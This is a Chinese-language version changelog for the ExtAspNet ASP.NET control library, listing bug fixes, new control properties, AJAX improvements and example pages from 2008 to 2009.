-v0.2beta2版本中关于PersistChildren(true)的描述有误,这个是设计时属性,和运行时是否保持状态没有关系。 -修正CheckBox控件的CheckedChanged事件会被触发两次的BUG(Data PostBack->AutoPostBack, Event PostBack->EnablePostBack)。 -为TextBox,TextArea,DatePicker,NumberBox,TriggerBox等控件增加AutoPostBack属性(feedback:dk3214)。 +为表单字段增加RequiredMessage,MaxLengthMessage,MinLengthMessage属性,用于指定验证失败时提示信息。 -为空则使用默认的提示信息,默认的提示信息支持多语言,建议一般情况下使用默认信息。 +为表单字段增加MarkInvalid和GetMarkInvalidReference函数(feedback:sun1299shine)。 -增加示例:form/form_validate.aspx +2009-10-19 v2.1.3 +增加支持在AJAX时改变的控件属性列表(/ajax.aspx)。 -ExtAspNet支持原生的AJAX,也就是说控件的属性改变在AJAX过程中会反映到页面中,但并不是所有的控件属性都支持AJAX改变。 -加载s.gif图片在本机进行,不会请extjs.com远程资源(feedback:efrigate43,abaocoole)。 -在AJAX回发后确保Asp.net的按钮控件仍然具有AJAX的特性。 -更新/basic/login.aspx示例,使用验证图片(feedback:kedee)。 -为Grid增加AutoPostBack属性和RowClick事件,示例在/data/grid_autopostback.aspx(feedback:chenguizhu2006)。 -为所有的表单字段增加AJAX属性ReadOnly(feedback:skydb)。 -Grid中TemplateField生成到页面中控件具有唯一ID,例如Grid1_ct5_Label2,Grid1_ct6_Label2(feedback:geruger)。 +2009-09-27 v2.1.2 -为Tree控件增加GetExpandAllNodesReference和GetCollapseAllNodesReference两个函数。 -修正RELEASE版本下多语言加载的BUG(feedback:yigehaoren)。 -增加pt_BR语言,由Ujvari提供。 +为所有Panel(包括Grid,Tree,Form等)增加枚举类型Icon,其中包含1700多个小图标。 -如果Panel具有IconUrl属性,则IconUrl优先于Icon。 -所有Icon的列表在icon.aspx。 -为Button,MenuItem(MenuButton,MenuHyperLink),AccordionLink,TreeNode,Image(如果ImageUrl为空,则取Icon的值)增加Icon属性。 +2009-09-15 v2.1.1 -修正不能动态修改AccordionPane属性Items的BUG。 +为Button, MenuButton, LinkButton, LinkButtonField增加ConfirmTarget。 -如果需要在父页面弹出确认对话框,需要设置ConfirmTarget="_parent"(类似Window控件的Target="_parent")。 +为ExtAspNet.Alert.Show增加点击确定的JavaScript回调函数。 -一个典型应用,在Window控件中打开新页面,如果传递的参数不正确,则首先提示参数不对然后关闭此弹出窗口。 -ExtAspNet.Alert.Show("参数错误!", String.Empty, ExtAspNet.ActiveWindow.GetCloseReference()); +TreeNode的前面的多选框可以自动回发了。 -为TreeNode增加AutoPostBack属性,增加事件数据类TreeCheckEventArgs,为Tree增加事件NodeCheck。 -示例在:http://extasp.net/data/tree_run.aspx -Grid增加GetNoSelectionAlertInParentReference函数,用来表示没有选中任何一项时在父页面弹出对话框的JS代码。 -修正IE7下不能以下划线作为CSS中类名的前缀的BUG(feedback:Steve.Wei)。 -添加定时器控件Timer,用来定时发起AJAX请。 +2009-09-06 v2.1.0 -Button的Pressed属性值能够正确的反映客户端的变化。 -优化Tree控件的AJAX实现。 +为页面的Form添加autocomplete="off"属性。 -参考http://www.cnblogs.com/sanshi/archive/2009/09/04/1560146.html#1635830 +添加对extjs3.0中所有语言的支持。 -ExtAspNet扩展的多语言包在js\languages\extaspnet目录下,目前只有en,zh_CN,zh_TW三种实现 -你可以向其中添加自己的语言版本,并执行js\languages下的pack.bat打包,最后编译工程。 +2009-09-01 v2.0.9 -为ExtAspNet.Alert添加两个静态方法ShowInParent和GetShowInParentReference,用于在父页面弹出窗口。 +在aspx页面中必须显示的声明控件的集合属性(比如Tabs(TabStrip), Items(PanelBase), Nodes(TreeNode))。 -这将会影响所有的aspx页面,所以要特别关注。 -重命名AccordionPanel为AccordionPane (这也是在Asp.net AJAX中使用的名称). +所有的面板默认有两个集合属性(Toolbars和Items). -尽管TabStrip, From, Tree, Accordion继承了Items属性,但是你并不能对其设置(此时Items是只读的). -这将会影响所有的aspx页面,一定要将工具条(Toolbars)和Items区分开来。 -祝你生日快乐 - 小师妹妹。 +2009-08-29 v2.0.8 -ExtAspNet支持多语言(en,zh_CN,zh_TW),可以在Web.config中修改。 -将所有的示例转化为英语版本。 -修正Tree控件的一个BUG(定义Mappings属性时)。 +PageManager.Instance应该存在于HttpContext.Current,而不是一个全局变量。 -这个BUG导致Asp.net compatibility中的示例无法完成,现在已经修正。 +去除PageManager中方法AddAjaxAspnetControls,增加属性AjaxAspnetControls。 -这个属性和Button得ValidateForms属性类似,可以查看Asp.net compatibility中的示例。 +2009-08-25 v2.0.7 -为按钮增加DisableControlBeforePostBack属性 - 回发之前是否禁用按钮,防止重复提交 - 默认为true。 -Grid的Values属性访问限制由internal改为public,这就意味这可以自由改变Grid中每个单元格的值了。 -增加示例-如何将Grid控件导出为Excel(data\grid_excel_run.aspx)(feedback:503684912)。 -如果TreeNode的属性Enabled="false",则此项变灰并且不会被选中(feedback:your568)。 -修正TreeNode的属性NavigateUrl不接受服务器端URL(以~/开头)的BUG。 -增加Accordion和Tree配合使用的示例(other\accordion_tree_run.aspx)。 -修正Panel图标不能显示的BUG(CSS中class名不能有$字符)。 +去除PageLayout控件,此控件可以使用BorderLayout和指定PageManager的AutoSizePanelID属性来代替。 -这样所有需要占据全屏的Panel(不管你是Accordion,Panel,ContentPanel,Form,GroupPanel,SimpleForm,Tree还是Grid,TabStrip)都可以通过这种方式全屏。 -简单方便,示例可以参考 default.aspx 或者 other\accordion_tree_run.aspx。 +2009-08-14 v2.0.6 -动态生成菜单实例(other\menu_dynamic_run.aspx和other\menu_dynamic2_run.aspx)(feedback:shguo)。 -优化AJAX的内部实现,每个页面保存的ViewState现在减少1/3左右(重要更新)。 -优化Tree节点的NodeId自动生成,减少ViewState占用。 +2009-08-09 v2.0 beta5 +ExtAspNet和Asp.net的提交按钮兼容问题(feedback:千帆)。 -在2009-03-03 v1.3.0曾经提到这个兼容问题,并有这样的规则,如果Asp.net的按钮AJAX提交,必须设置UseSubmitBehavior="false" --也就是说生成的input的type不能是"submit",而这个限制在有些情况下是不可原谅的。 --我们做了优化,现在要使一个Asp.net的按钮能够AJAX提交,你不需要做任何设置(PageManager的属性EnableAjax为true即可,这是默认属性)。 +PageManager的实例方法AddAjaxUpdateControl改名为AddAjaxAspnetControls,现在可以在Page_Load中设置需要在AJAX中需要更新的Asp.net控件了。 -在Page_Load中设置了哪些需要在AJAX中更新的Asp.net控件会在回发时保持状态,可以通过RemoveAjaxAspnetControls来去除不需要更新的控件。 -示例在aspnet\fckeditor_run.aspx和aspnet\aspnet_run.aspx。 -FCKEditor和上传控件兼容。示例在aspnet\fileupload_run.aspx。 -修正ToolbarText的文本在AJAX下更新的BUG。 -Button的Pressed属性在AJAX可更新(feedback:mgzhenhong)。 -更新所有示例。在IE7.0,IE8.0,Firefox3.5,Chrome2.0下测试通过。 +2009-08-02 v2.0 beta4 +和Asp.Net的Forms Authentication兼容[feedback:mgzhenhong]。 -采用和Asp.Net Ajax类似的处理方式,需要在配置文件Web.config增加一个httpModules。 -现在支持Response.Redirect,你可以选择Response.Redirect或者ExtAspNet.PageContext.Redirect重定向页面,两者效果一样。 -支持FormsAuthentication.RedirectFromLoginPage(accountID, false);这样的方法。 -Button增加Type属性(button,reset,submit)[feedback:mgzhenhong]。 -修正Alert.Show方法不能指定文本前图片的BUG[feedback:xmq&mgzhenhong]。 -修正IE下某些弹出窗口的IFrame第一次不能加载的BUG。 -增加Menu和Accordion的示例。 -修正Window控件的IconUrl有时不显示(Target="_parent")的BUG[feedback:xmq&mgzhenhong]。 +2009-07-22 v2.0 beta3 -兼容FCKEditor。 -在IE8.0,Firefox3.5下测试通过。以后ExtAspNet将不会对IE6.0提供支持。 +2009-07-13 v2.0 beta2 -集成extjs最新版本v3.0。 +兼容IE6.0-7.0-8.0。 -这应该是Extjs3.0的一个BUG,在IE6.0-7.0下面设置Ext.QuickTips.init();会导致button的click事件无法响应(IE8下无此问题)。 -目前先禁用IE6.0-7.0的QuickTips。 -优化底层JavaScript。 +2009-07-05 v2.0 beta1 -更新extjs库到最新版本v3.0 RC2; 目前只有一个缺省皮肤(Theme)。 -使用YUI Compressor压缩JavaScript和CSS文件。 -Release版本每个页面只包含一个JavaScript文件(语言文件除外)和一个CSS文件。 -ExtAspNet自身的CSS会紧挨着页面标签引入,这样在<head>中自定义的样式可以覆盖ExtAspNet缺省样式。 +Alert对话框会遮挡所有的Window窗口。 -使用<em>一个</em>变通的方法解决,因为无法改变Ext.Message的默认z-index(9000)所以将box.window_default_group的zseed调整为6000。 -为所有按钮的左右增加5px的空白边距:.x-btn button { margin: 0 5px !important; }。 -因为下拉列表不可编辑,所以不能为空,如果不设置SelectedIndex或SelectedValue,则默认选中第一项。 -重新绑定模拟树的下拉列表后,选中项的前面有图片的HTML标签的BUG。 -更新自定义JavaScript组件Ext.ux.SimplePagingToolbar。 -更新示例工程。 +2009-03-25 v1.3.1 -Tree在AJAX回发展开节点时JS错误[feedback:xlli]。[fixed] -Window中的EnableIFrame==false,则点击关闭按钮时报JS错误。[fixed] -页面包含FileUpload控件,需要点击按钮回发并上传<em>文件</em>,则不能采用原生AJAX方式。(参见示例aspnet/fileupload.aspx)[fixed] -HtmlEditor显示隐藏工具栏按钮不起作用,HtmlEditor目前不支持Enabled和Readonly<em>两个</em>属性。[fixed] +2009-03-03 v1.3.0 -如果弹出的窗口(Ext-Window)含有ASP.NET控件FileUpload,则此弹出窗口在关闭时出现JS错误(http://extjs.com/forum/showthread.php?t=8129)[feedback:xlli]。[fixed] -如果页面中存在ASP.NET控件(TextBox),则第二次提交表单就会报错(视图状态不对,其实时没有更新EventValidation隐藏字段导致的问题)。[fixed] -页面上放置ExtAspNet-Button和ASP.NET-Button,则点击ExtAspNet-Button时激发的是ASP.NET-Button的事件,这个BUG和Extjs2.2.1中Ext.Ajax.serializeForm的实现有关。[fixed] -ExtAspNet内部包含HtmlAgilityPack和Nii.JSON<em>两个</em>开源的第三方类库。[added] +如果以前你听过不要在ExtAspNet工程中使用ASP.NET标准控件的忠告,那么从v1.3.0版本开始,你可以忘掉这个说法,现在ExtAspNet控件和ASP.NET标准控件和平共处了。[fixed] -如果<em>一个</em>ASP.NET按钮控件要使用ExtAspNet的原生AJAX,只需要设置属性 UseSubmitBehavior="false" 即可。 -如果要在一次ExtAspNet的原生AJAX回发时更新ASP.NET控件的值,只需要调用PageManager的公共方法AddAjaxUpdateControl即可(示例:aspnet/aspnet.aspx)。 +2009-02-27 v1.2 beta9 -网络连接出错时的“Ajax Error”改成更加友好的提示信息“本次连接失败!可能是网络连接出错,请刷新页面重试。”。[fixed] -自动测试功能会在以后版本中逐步完善。这个版本完成测试框架,采用Extjs中JS函数进行大部分的测试,对于一些难以测试的地方借助jQuery完成。[fixed] +系统底层代码优化(主要是Javascript的封装和BUG修复)。[fixed] -底层使用Javascript创建<em>一个</em>Window控件的代码由原来的2000字符减少为500个字符。 -PageContext静态类中的GetPageStateChangedFunction改名为GetConfirmFormModifiedReference,底层代码优化。表示“获取当前页面中表单修改的确认提示框的脚本”。 ---[updated]<em>删除</em>PageContext中的GetConfirmFormModifiedReference,使用CurrentActiveWindow中的GetConfirmFormModifiedCloseReference/GetConfirmFormModifiedCloseRefreshReference/GetConfirmFormModifiedClosePostBackReference三个方法代替。 -不会修改弹出页面的URL(Ext-Window中的IFrame),以前为了实现功能为每个弹出页面添加box_parent_client_id查询字符串 -去除PageManager的RegisterPageStateChangedScript属性,现在已经将这个功能实现为静态的JS方法。可以通过PageContext.GetFormModifiedConfirmReference获取此方法的客户端脚本。 ---注意:以前的项目需要在所有的ASPX页面中查找RegisterPageStateChangedScript属性,并<em>删除</em>,否则会运行错误! -A页面有Ext-Window控件弹出B页面,B页面有Ext-Window控件弹出C页面,B页面的Ext-Window控件设置Target='_parent',则弹出的Ext-Window(C页面)会覆盖整个A页面,这是正确的。 ---当时如果用户直接访问B页面,就会报JS错误,因为此时找不到B页面的父页面A了。现在的版本修正为如果找不到父页面,则就在当前页面弹出窗口,这样用户直接访问B页面也不会出错了。 -Window控件的GetIFramePageStateChangedFunction函数改名为GetConfirmFormModifiedCloseReference,表示“获取先确认IFrame的页面中表单改变,然后关闭弹出窗口的客户端脚本”。 ---为Window控件增加如下<em>两个</em>方法GetConfirmFormModifiedCloseRefreshReference和GetConfirmFormModifiedClosePostBackReference,表示“先确认表单改变,然后关闭弹出Ext-Window,再然后刷新父页面或回发父页面”。 ---Window控件的OnClientCloseButtonClick属性如果不设置,则默认采用GetConfirmFormModifiedCloseReference,也即是先判断表单是否更新,然后在关闭窗口。 ---现在可以很方便的为Window控件的关闭按钮添加关闭后刷新父页面或者关闭后回发父页面的行为。 -如果弹出窗口(Window控件)中IFrame的页面不能正常加载(网络暂时出错或页面抛出异常),则此时点击右上角的关闭按钮会报JS错误,因为此时页面尚未加载完毕。 ---此版本修正了这个BUG,即时页面不能加载完全,也能通过右上角的关闭按钮关闭弹出含IFrame的窗体。 -Window控件的IFrameName属性是自动生成的,只读属性。(因为有可能所有的Ext-Window最终都渲染到最外层的页面,为了保证这些IFrame的name不同,IFrameName使用的是GUID,内部处理)。 -CurrentActiveWindow改名为ActiveWindow。 -[特别注意]GetWriteBackValueReference(string controlClientIds, string value, params string[] values)函数现在的定义是GetWriteBackValueReference(params string[] values) ---所有调用GetWriteBackValueReference的地方,需要<em>删除</em>第<em>一个</em>参数(一般是ActiveWindow.GetLoadStateReference())。 +2009-02-23 v1.2 beta8 -ContentPanel中内容不能自动扩展高度的BUG[feedback:huihuang]。[fixed] -DropDownList在Ajax回发时不能计算模拟树的数据[feedback:huihuang]。[fixed] -DropDownList在页面第一次加载时没有不可选择项,则回发时也不会有不可选择项的BUG。[fixed] -升级底层ExtJS类库为v2.2.1(此版本主要是Chrome的支持和部分内存泄漏问题的修正)。[fixed] -页面加载过程中的时间信息保存在Javascript变量window.box.timeInfo中。[added] +增加部分自动测试支持(使用WatiN和NUnit),下个版本将会提供完整的自动测试支持。[fixed] +2008-10-28 v1.2 beta7 -DropDownList没有选中任何一项,回发时报错[feedback:huihuang]。[fixed] -Window显示位置不对,以及不能拖动的BUG[feedback:huihuang]。[fixed] +PageContext优化。[fixed] -去除RegisterExclusiveScript静态函数(这是没有原生ajax之前的产物),使用RegisterStartupScript替代。 -去除RegisterStartupScript的重载函数,只保留最简单的PageContext.RegisterStartupScript(string script)函数。 -Resirect增加重载函数Redirect(string url, string target),其中target可能的取值为_self,_parent,_top,分别表示在当前窗口,父窗口,顶级窗口重定向[feedback:jqpeng]。 -Image控件增加ImageWidth/ImageHeight/ImageCssStyle/ImageCssClass/ImageAlt属性[feedback:jqpeng]。[fixed] -发布包中增加<em>一个</em>Web.config.txt,这是<em>一个</em>空的Web.config<em>文件</em>,包含BOX基本的配置信息。[fixed] -ContentPanel的ShowHeader和ShowBorder属性默认也是true(注意更新以前的应用)。[fixed] -Row和Column布局时,修正IE下设置RowHeight="100%"时显示不正确的BUG。[fixed] -AccordionLink当鼠标移上和移开时,有背景色的变化效果[feedback:huihuang]。[fixed] +TabStrip的Tab控件的EnablePostBack属性会在回发时保持(也即是说如果EnablePostBack=true,回发时没改变EnablePostBack的值,则每次切换到此Tab都会回发)。[fixed] -有这样<em>一个</em>效果,如果Tab1默认显示,Tab1的EnablePostBack=true,则页面加载完毕后会回发Tab1一次。 +2008-10-20 v1.2 beta6 +使用控件的站点必须建立虚拟目录,否则会报JS错误(即是脚本资源没有加载),却原来是HTTPCompress组件的问题。[fixed] -需要替换新的blowery.Web.HttpCompress.dll,解决方案见http://pohee.com/it/http-compression-in-aspnet-20/。 +DropDownList优化。[fixed] -去除EnableFirstItem/FirstItemText/FirstItemValue,这个并不能带来很大的好处,反而容易让开发人员困惑。 现在可以方便的在后台DropDownList1.Items.Insert(0, new ExtAspNet.ListItem("全部", "-1"));来达到同样的效果。 +如果某项(ListItem)的Value为空字符串,则通过SelectedIndex和SelectedValue不能选中[feedback:jqpeng]。 -和Asp.net中的保持一致,ListItem的Value值可以为空字符串。 也就是可以这样写DropDownList1.SelectedValue = ""; -ListItemCollection增加重载函数Add(string text, string value),这样方便后台添加列表项。 -处于布局内的容器控件(Layout!=LayoutType.Container),AutoHeight会自动设置为false(避免开发人员发生此类错误)。[fixed] -注意,控件的高度指的是整个控件的高度,包含BodyPadding(这和CSS中的height不同,CSS中的height是指内容的高度,除去padding/border-width/margin)。[fixed] +为所有控件属性增加在VS中的智能提示。[fixed] -需要将ExtAspNet.XML和ExtAspNet.dll放在一起,这样引用dll时xml会被拷贝到bin目录下,提供VS的智能提示。 +控件的属性如果是枚举类型,如果此属性可以不取值,则默认为None。[fixed] -TriggerIconType.Default -> TriggerIconType.None -SystemIconType.Empty -> SystemIconType.None -RegexPattern.USER_DEFINED -> RegexPattern.None -表单验证属性名称变化(ValueToCompare->CompareValue,ControlToCompare->CompareControl)。[fixed] +注意:<em>一个</em>属性可以拥有多个值的情况。[fixed] -属性和CSS相关则用空格分隔(比如ColumnWidths,BodyPadding)。 -其他的都是逗号分隔(比如ValidateForms,DataKeyNames,DataNavigateUrlFields)。 +AccordionLink实现为控件。[fixed] -可以方便的在子页面(iframe)中通过js切换父页面中选中的菜单项(Accordion->AccordionLink)(示例在other/accordion_links_run.aspx,other/accordion_links_run_iframe_htm)[feedback:jima]。 +确认:可以方便的动态添加控件,并且可以给控件添加服务器端事件(示例在form/form_dynamic_run.aspx)。[fixed] +2008-10-15 v1.2 beta5 -验证表单字段的ValueToCompare属性,为字符串时会出错的BUG。[fixed] +优化下拉列表。[fixed] -验证下拉列表时,应该取ListItem的Value属性进行验证,而不是Text属性。 -DropDownList的Items增加Insert方法(可方便的下拉列表选项添加“全部”)。 -DropDownList不支持EmptyText属性。 -ListItem启用EnableSelect和SimulateTreeLevel属性,这样就可以直接在前台(ASPX)中设置哪些项不可选择,以及创建模拟下拉树。 -DropDownList增加EnableSimulateTree属性(默认为false),如果设置了DataSimulateTreeLevelField,则自动将EnableSimulateTree设置为true。 +2008-09-27 v1.2 beta4 +EnableLargeHeader属性对所有容器的效果一样,Accordion的属性EnableLargeHeader只会改变Accordion的标题大小,而不会对AccordionPanel起作用(示例见other/accordion_run.aspx)。[fixed] -Accordion去除EnableHightlight属性,AccordionPanel增加EnableHightlight属性。 -影响以前使用Box的应用,需要将Accordion的属性去掉,然后为每个AccordionPanel增加EnableLargeHeader和EnableHightlight属性。 -AccordionPanel鼠标移上去的样式调整(现在没有下面的一条白线了)。[fixed] +AccordionPanel增加Links属性,可以绑定列表数据到AccordionPanel,呈现的是链接的列表(示例在other/accordion_links_run.aspx)。[fixed] -原来放置在AccordionPanel中的容器,比如ContentPanel需要在外层加上<Items>标签。 -适当增大AccordionPanel中链接的高度20px->22px,同时对链接的样式也做了微调。 -通过BodyPadding控制链接列表的边距。 -这样能大大减少ASPX中HTML代码和Javascript代码的书写,可以在后台动态添加链接,效果很赞,此需<em>求</em>由马季提出。 +2008-09-25 v1.2 beta3 +代码优化与设计时支持(尚需要不断完善,目前可以在ASPX页切换到“设计时”,方便属性的更改和事件处理函数的添加)。[fixed] -Panel/GroupPanel/ContentPanel/Tree/HiddenField/PageLoading -TabStrip/Toolbar -TabStrip去除Plain属性,增加EnableTitleBackgroundColor(默认为true)。[fixed] -向Form中动态添加控件的BUG,现在form/form_dynamic_run.aspx示例已经能正确运行。[fixed] +大部分容器的子控件集合更正为Items(以前有些是Rows)。[fixed] -影响的控件包括Toolbar/Accordion/AccordionPanel/GroupPanel/Panel/SimpleForm/Window等。 -保留Form的Rows(FormRowCollection)属性和Grid的Rows属性(GridRowCollection)。 -保留TabStrip的Tabs(TabCollection)属性。 -保留PageLayout/BorderLayout的Regions(RegionCollection)属性。 -预祝今晚神七发射成功。 +2008-09-22 v1.2 beta2 +Grid选中项(SelectedRowIndexArray)在ajax回发过程中存在BUG [feedback:xmzhu]。[fixed] -表现为对Grid进行多次<em>删除</em>添加操作后,SelectedRowIndexArray选中项中会存在当前不存在的行序号,导致服务器端遍历选中项时数组越界。所有使用box控件的应用程序都受到此BUG的影响,需尽快更新到新版本。 +代码优化与设计时支持(示例中表单控件都已支持设计)。[fixed] -PageManager/SimpleForm/Button/HyperLink/Label/Image/LinkButton/TextBox -TriggerBox/TwinTriggerBox/Window/TextArea/HtmlEditor/DatePicker/NumberBox -CheckBox/RadioButton/RadioButtonList/DropDownList -Grid +2008-09-19 v1.2 beta1 -Image/LinkButton/HyperLink增加一些Ajax可更新属性。[fixed] +隐藏的方式由HideMode属性控制Visibility/Offsets/Display。[fixed] -修正Form/SimpleForm中隐藏<em>一个</em>表单字段(Hidden=false)会占据页面空间的BUG。 -ToolbarText/ToolbarFill/ToolbarSeparator在ASPX中设置Hidden=true不起作用的BUG [feedback:jbzhang]。[fixed] -Button去除MarginRight属性(可以通过CssStyle="margin-right:5px;"达到相同的效果)[fixed] +2008-09-09 v1.1 +Toolbar去除IsPageMenu属性,在网报中可以用自定义样式实现,而不应该写在控件中。[fixed] -网报:CssClass="toolbar-pagemenu" CssStyle="border:0px;",同时定义样式:.toolbar-pagemenu{ background: rgb(208, 222, 240) url(../images/pagemenu_toolbar_background.gif) repeat-x left top;}。 -Region去除默认的Layout=Fit,如果希望Region使用Fit/Anchor/Column/Row等布局的话,需要手工指定。[fixed] -ToolbarSeparator/ToolbarFill在Ajax更新Hidden属性的BUG。[fixed] +布局整理。[fixed] -新增Column/Absolute/Row三种布局,加上以前的Container/Fit/Anchor/Accordion/Border/Form六种布局,总共有9中布局可供使用。 -其中一些控件默认使用一种布局:SimpleForm(Form)/Form(Form)/Panel-GroupPanel(Container)/Accordion(Accordion)/PageLayout(Border)/BorderLayout(Border)/TabStrip(Card),所有布局控件默认的布局是Container。 -经常用到的布局控件:SimpleForm/Form/Accordion/TabStrip/BorderLayout,经常用到的布局:Fit/Row/Anchor +2008-09-08 v1.1 beta7 -MenuButton/MenuHyperLink增加HideOnClick属性,如果<em>一个</em>菜单项的作用仅仅为了弹出下级菜单,点击没反应,则可以这样设置HideOnClick="false" CssStyle="cursor:default;" [feedback:huayu]。[fixed] -MenuButton/MenuHyperLink/MenuSeparator/MenuText增加Hidden属性(此属性是Ajax可更新属性,如果需要在Ajax时显示隐藏菜单,请使用此属性而不是Visible属性)。[fixed] +大部分的ExtAspNet控件增加Hidden属性(少数几个控件没有此属性:Menu),这样在Ajax时可以显示隐藏控件。[fixed] -注意Visible和Hidden的区别:Visible=false的属性不会渲染到客户端,Hidden=true的控件渲染到客户端但是隐藏。 -US的ExtAspNet改造强烈依赖于此属性,这个版本发布后可以继续。 -网报中唯一没有用到ExtAspNetAjax的地方就是显示隐藏表单字段,现在也可以使用Ajax了。 +2008-09-04 v1.1 beta6 -PageContext.Redirect支持普通页面转向和ExtAspNetAjax下页面转向。[fixed] +模拟树的下拉列表的BUG(会使一些可选项变成不可选项)[feedback:xmzhu]。[fixed] -因为if("0,2,9,11,".indexOf('1,')>=0){ok},这显然是不对的,此BUG涉及很多控件(Grid,DropDownList,TabStrip)。 -解决方法:testValue += '';if(domValue.split(',').indexOf(testValue) >= 0){ok}。 -DropDownList在Ajax时应该先更新数据再设置选定项 [feedback:xmzhu]。[fixed] -Button/MenuButton增加Ajax可更新属性OnClientClick [feedback:xmzhu]。[fixed] -Tree的Ajax支持(尚需优化)。[fixed] +2008-09-02 v1.1 beta5 -DropDownList如果第一次没有绑定值,应该绑定到[[]](二维数组),而不是[](一维数组)。[fixed] -模拟树的DropDownList,在Ajax重新绑定DataSource后,保持项是否可选状态是最新的(页面第一次加载时,即使没有数据也需要设置DataTextField/DataValueField/DataSimulateTreeLevelField/DataEnableSelectField等属性的值,否则Ajax回发时会出错)。[fixed] -UserControlConnector导致的Ajax错误,去除UpdatePanelConnector控件(以后不会用AspnetAjax,这个控件已经完成使命)。[fixed] -不要使用Asp.net的控件HiddenField,而是使用ExtAspNet的HiddenField,因为Asp.net的控件在Ajax不会被更新,所以会导致视图状态不一致的错误。[fixed] -网报Ajax整合基本完成(除了待审批->下一步[审核/归档/出纳]操作,由于需要显示隐藏表单字段,目前Ajax不支持,使用的还是普通的PostBack)。[fixed] -IE下,RadioButtonList中项如果存在汉字,则会换行的BUG。[fixed] -增加<em>两个</em>Theme[Slate/Black](样式尚需完善)。[fixed] +2008-09-01 v1.1 beta4 -非当前Tab中如果有ContentPanel,则在页面上方会有空白(可以通过设置EnableDeferredRender=false解决,但会减慢页面的加载速度),现在已经解决这个问题。[fixed] -RadioButtonList去除EnableBackgroundColor/EnableLightBackgroundColor属性,背景色是透明的,也就是和父控件(SimpleForm/Form)的背景色一致。[fixed] -TwinTriggerBox的第<em>一个</em>Trigger图标不会先显示再隐藏,而是直接隐藏掉(如果用户设置ShowTrigger1=false)。[fixed] -Web.config中增加配置项FormLabelWidth="80"(默认为80),同时PageManager增加FormLabelWidth属性用来控制页面上所有SimpleForm/Form的表单字段标题的宽度。[fixed] +完善Ajax。[fixed] -RadioButtonList增加Ajax可更新属性SelectedIndex(SelectedValue/SelectedItem)。 -DropDownList增加Ajax可更新属性Enable/SelectedIndex(SelectedValue/SelectedItem)/DataSource。 -Grid增加Ajax可更新属性Columns(也就是说Grid列在回发时隐藏显示了一些,也能正确的Ajax)。 -ToolbarText增加Ajax可更新属性Text。 +2008-08-31 v1.1 beta3 -TabStrip增加EnableDeferredRender属性(是否启用延迟加载Tab,默认启用)。[fixed] -重定向页面,使用系统的方法 PageContext.Redirect(string url),使用Response.Redirect方法会出错。[fixed] +安全的Ajax设计。[fixed] -这个版本Ajax和上个版本(v1.1beta1)在设计思路上有很大区别,同时在速度上会有进一步的提升。 -基本思想:安全的Ajax交互,明确Ajax回发时支持控件哪些属性的改变,这将适合90%的应用场景(并且具有极快的反应速度),对于需要UI大改动的可采用常规回发,系统提供控件级别的EnableAjax属性。 -整理支持Ajax的控件属性改变列表(所有被支持的属性改变都是安全的、快速的,所有不被支持的属性改变不会对UI起作用,同时是安全的,不会有js错误)。 -网报Ajax整合(目前只支持所有的列表页面)(v0.8.1)。[fixed] +2008-08-29 v1.1 beta1 +Window控件是否弹出的状态在回发时维持。[fixed] -控件设计的<em>一个</em>原则,凡是可以在客户端改变的属性都应该在回发时保持属性的状态。 +完全抛弃Asp.NetAjax,ExtAspNet控件内置Ajax支持。[fixed] -这是<em>一个</em>值得骄傲的设计,可以明显提高页面回发的速度(相比普通的回发和Asp.netAjax的回发),对于IFrame框架的交互也起到很好的加速效果。 -不需要做任何配置,所有的回发都是Ajax(在Web.config和PageManager中有设置启用Ajax回发的属性-EnableAjax-默认为true)。 +在这种设计下,其实可以完全抛弃Javascript。 -比如简单的点击<em>一个</em>按钮弹出窗口,可以在Button的OnClick事件中设置Window1.Popup=true,也可以注册Button的OnClientClick=Window1.GetShowReference()。 -第一种方法需要回发,但是我们内置的Ajax支持能很快的返回需要的结果并解析,在网络速度很快的情况下和第二种方法差别不是很大。 -推荐的做法是尽量用客户端实现,客户端实现复杂的直接用服务器端实现。 +目前ExtAspNetAjax的限制。 -只对ExtAspNet控件起作用,对Asp.net控件不起作用。 -对容器控件(有子控件的控件)不起作用,只对最底层的控件起作用。 -对改变控件的Visible属性会有错误。 -Window控件的属性改变只有少数几个起作用(Popup,IFrameUrl)。 -PageManager增加属性EnablePageLoading和EnableAjaxLoading(启用页面第一次加载标示和Ajax加载标示,默认都为true),所以如果使用系统默认的加载标示就不必每个页面都添加PageLoading控件。[fixed] -Grid中的回发事件(主要是LinkButtonField和CheckBoxField(RenderAsStaticField=false))要延迟0ms执行,这样当前行被选中的状态在回发后会得到保持。[fixed] -Grid选中行的状态在第一次回发时不能保持的BUG。[fixed] +2008-08-26 v1.0 +已知问题:IE的ActiveX插件IE Developer Toolbar会对IFrame的加载造成0.5m左右的延迟。 -主要是父页面加载<em>一个</em>比较大的css<em>文件</em>(~100k),则每次打开iframe页面,onload事件的调用都会有500ms左右的延迟,在测试IE性能时要禁用此插件。 +优化弹出窗口中IFrame的显示速度。[fixed] -在当前页面弹出窗口需要~20ms,在父页面弹出窗口需要100~300ms。通过缓存弹出的窗口实例,从而第二次弹出窗口不再需要创建时间。 -PageLayout的Region增加SplitColor属性,默认的背景色是透明的。(在网报中需要设置SplitColor="#CADDF7",以便分隔符的颜色和Toolbar的颜色一致)[fixed] +PageManager增加属性Theme、Language、FormMessageTarget、FormOffsetRight等属性,这些属性可以在Web.config中设置(推荐方法),也可以为每个页面设置。[fixed] -<em>一个</em>典型的应用是为每个用户设置不同的皮肤(根据用户浏览器中Cookie设置的值)(示例在default.aspx)。 -TreeNode增加属性SingleClickExpand,表示点击可切换节点的折叠展开状态。[fixed] +TabStrip中非当前Tab会延迟渲染。[fixed] -这会明显加快页面的渲染速度,网报中<em>一个</em>典型的费用审批页面可以减少200ms的渲染时间。 -由于非当前Tab不会在页面加载时渲染,所以那些Tab中的节点在页面加载后也是不可见的,需要将相关的脚本移动到控件的render事件中。 -不能比较<em>两个</em>DataPicker大小的BUG。[fixed] -TabStrip延迟加载引起的BUG(非当前Tab中的ContentPanel会占据页面空间,已修正)。[fixed] -全新的ExtAspNet.Examples(基础知识/表单控件/数据绑定/容器布局/IFrame框架)。[fixed] +2008-08-19 v0.4 beta6 +PageManager增加<em>两个</em>属性(EnableInlineStyleJavascript/ApplyParentStyleJavascript),可以在IFrame页面中使用父页面的脚本和样式(示例在iframe/default.aspx和iframe/page3.aspx)。[fixed] -测试发现,IFrame页面的加载速度并没有明显加快,可以先不使用此属性。 -RadioButtonList放在在BorderLayout中显示不了的BUG [feedback:zgjiang2]。[fixed] +extjs的BUG,当页面中含有iframe时,Ext.onReady会被调用两次(IE6/IE7)(http://www.extjs.net/forum/showthread.php?t=43246)(示例在test.aspx)[fixed] 